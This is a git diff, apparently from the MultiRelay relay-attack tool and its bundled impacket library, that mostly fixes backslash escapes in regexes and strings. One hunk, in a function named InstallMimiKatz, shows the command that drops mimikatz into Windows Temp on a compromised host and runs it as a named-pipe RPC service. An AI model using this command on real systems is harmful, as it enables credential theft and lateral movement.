diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py
index 3c1fa2d..294116a 100644
--- a/tools/MultiRelay/RelayMultiCore.py
+++ b/tools/MultiRelay/RelayMultiCore.py
@@ -1954,7 +1954,7 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi
         RandomFName      = GenerateRandomFileName()
         WinTmpPath       = "%windir%\\Temp\\"+RandomFName+".txt"
         #Install mimikatz as a service.
-        Command          = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
+        Command          = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
         MimiKatzSVCName  = GenerateServiceName()
         MimiKatzSVCID    = GenerateServiceID()
         data,s           = SMBOpenPipe(Host, data, s)
diff --git a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/transport.py b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/transport.py
index 5c4f58a..8ce08ef 100644
--- a/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/transport.py
+++ b/tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/transport.py
@@ -29,9 +29,9 @@ from impacket.smbconnection import SMBConnection
 
 class DCERPCStringBinding:
     parser = re.compile(r'(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?' # UUID (opt.)
-                        +'([_a-zA-Z0-9]*):' # Protocol Sequence
-                        +'([^\[]*)' # Network Address (opt.)
-                        +'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
+                        +r'([_a-zA-Z0-9]*):' # Protocol Sequence
+                        +r'([^\[]*)' # Network Address (opt.)
+                        +r'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
 
     def __init__(self, stringbinding):
         match = DCERPCStringBinding.parser.match(stringbinding)
diff --git a/tools/MultiRelay/impacket-dev/impacket/hresult_errors.py b/tools/MultiRelay/impacket-dev/impacket/hresult_errors.py
index 7f7eb06..cfff9ba 100644
--- a/tools/MultiRelay/impacket-dev/impacket/hresult_errors.py
+++ b/tools/MultiRelay/impacket-dev/impacket/hresult_errors.py
@@ -194,7 +194,7 @@ ERROR_MESSAGES = {
         0x80004014: ("CO_E_BAD_SERVER_NAME", "A Remote activation was necessary, but the server name provided was invalid."),
         0x80004015: ("CO_E_WRONG_SERVER_IDENTITY", "The class is configured to run as a security ID different from the caller."),
         0x80004016: ("CO_E_OLE1DDE_DISABLED", "Use of OLE1 services requiring Dynamic Data Exchange (DDE) Windows is disabled."),
-        0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\<user name> or simply <user name>."),
+        0x80004017: ("CO_E_RUNAS_SYNTAX", "A RunAs specification must be <domain name>\\<user name> or simply <user name>."),
         0x80004018: ("CO_E_CREATEPROCESS_FAILURE", "The server process could not be started. The path name may be incorrect."),
         0x80004019: ("CO_E_RUNAS_CREATEPROCESS_FAILURE", "The server process could not be started as the configured identity. The path name may be incorrect or unavailable."),
         0x8000401A: ("CO_E_RUNAS_LOGON_FAILURE", "The server process could not be started because the configured identity is incorrect. Check the user name and password."),
@@ -282,7 +282,7 @@ ERROR_MESSAGES = {
         0x80010129: ("CO_E_FAILEDTOSETDACL", "Unable to set a discretionary access control list (ACL) into a security descriptor."),
         0x8001012A: ("CO_E_ACCESSCHECKFAILED", "The system function AccessCheck returned false."),
         0x8001012B: ("CO_E_NETACCESSAPIFAILED", "Either NetAccessDel or NetAccessAdd returned an error code."),
-        0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\<Name> syntax and it was not the *\" string\"."),
+        0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the <Domain>\\<Name> syntax and it was not the *\" string\"."),
         0x8001012D: ("CO_E_INVALIDSID", "One of the security identifiers provided by the user was invalid."),
         0x8001012E: ("CO_E_CONVERSIONFAILED", "Unable to convert a wide character trustee string to a multiple-byte trustee string."),
         0x8001012F: ("CO_E_NOMATCHINGSIDFOUND", "Unable to find a security identifier that corresponds to a trustee string provided by the user."),
diff --git a/tools/MultiRelay/impacket-dev/impacket/uuid.py b/tools/MultiRelay/impacket-dev/impacket/uuid.py
index 2aa3310..41171f8 100644
--- a/tools/MultiRelay/impacket-dev/impacket/uuid.py
+++ b/tools/MultiRelay/impacket-dev/impacket/uuid.py
@@ -38,7 +38,7 @@ def string_to_bin(uuid):
 
     # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID
     # The first three components of the UUID are little-endian, and the last two are big-endian
-    matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
+    matches = re.match(r'([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid)
     (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]
     uuid = pack('<LHH', uuid1, uuid2, uuid3)
     uuid += pack('>HHL', uuid4, uuid5, uuid6)
@@ -68,7 +68,7 @@ def bin_to_uuidtup(bin):
 #           "10000000-2000-3000-4000-500000000000 v 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0') 
 #           "10000000-2000-3000-4000-500000000000" returns ('00000000-0000-0000-0000-000000000000','1.0') 
 def string_to_uuidtup(s):
-    g =  re.search("([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",s+" 1.0")
+    g =  re.search(r"([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",s+" 1.0")
     if g: 
         (u,v) = g.groups()
         return (u,v)